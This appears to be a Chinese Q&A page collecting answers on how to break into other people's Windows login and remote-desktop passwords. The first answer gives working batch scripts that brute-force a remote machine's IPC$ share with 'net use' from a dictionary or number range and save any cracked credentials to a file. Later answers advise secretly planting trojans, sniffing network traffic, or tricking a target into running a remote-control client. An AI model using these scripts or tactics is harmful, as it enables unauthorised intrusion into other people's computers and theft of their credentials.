『壹』 如何远程破解他人Windows开机登陆密码
远程的话对98(单机的话就不用破了,点取消就可以登录的)可以比较容易,XP和2000以前还可以利用输入法漏洞.现在就很困难啦.用dos命令破远程NT用户密码 假如知道一个NT帐户与密码，就可以用 net use \\主机\ipc$ "密码" /user:"用户" 与远程主机建立连接,然后DOS命令得用字典里的密码登录： 1、字典：for /f %i in (字典文件) do net use \\主机\ipc$ "%i" /user:"用户" 2、数字：for /l %i in (start,step,end) do net use \\主机\ipc$ "%i" /user:"用户" 这样只是登录了,但要想知道密码的话如下方法:将下面文件存为pass.bat: @echo off echo --- >>c:\pass.txt echo - >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解结果： >>c:\pass.txt if "%6"=="1" goto shit2 :shit1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :shit2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 将下面文件存为test.bat: net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2 :answer0 echo 远程主机："%1" >>c:\pass.txt echo 用 户："%3" >>c:\pass.txt echo 密 码：%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 将pass.bat与test.bat存放于system32中，用法如下： 1、如果用字典破：pass.bat 字典文件路径及名称 主机 用户名 2、如果用数字破：pass.bat 起始数 步长 结束数 主机 用户名 1 密码出来之后，存放于c:\pass.txt文件里面。 关于2000和xp的两篇不错了文章，建议你去看看。 http://www.enet.com.cn/article/2004/1119/A20041119363784.shtml http://tech.163.com/06/0911/09/2QNSNOS7000917H3.html
『贰』 如何破解局域网中另一台计算机的远程桌面密码（xp系统）
孩子，给你三种方法：
1、采用字典穷举法暴力破解；
如果你不想这么暴力可以这样；版
2、扫描端口或者权同所在计算机通信，悄悄放置木马服务器端；
3、这种比较厉害，可以采用网络监听的方法。
还有其他方法，不建议使用。自己探索，不解释。有天你也会长大的。
『叁』 怎样破解3389远程登陆密码
不可能的，你可以用其他远程控制软件生成一个受控端，然后发给你想要控制的人运行，再用控制器对其控制。
这个是最好的控制方法，目前还没有从3389端口破解用户名和密码的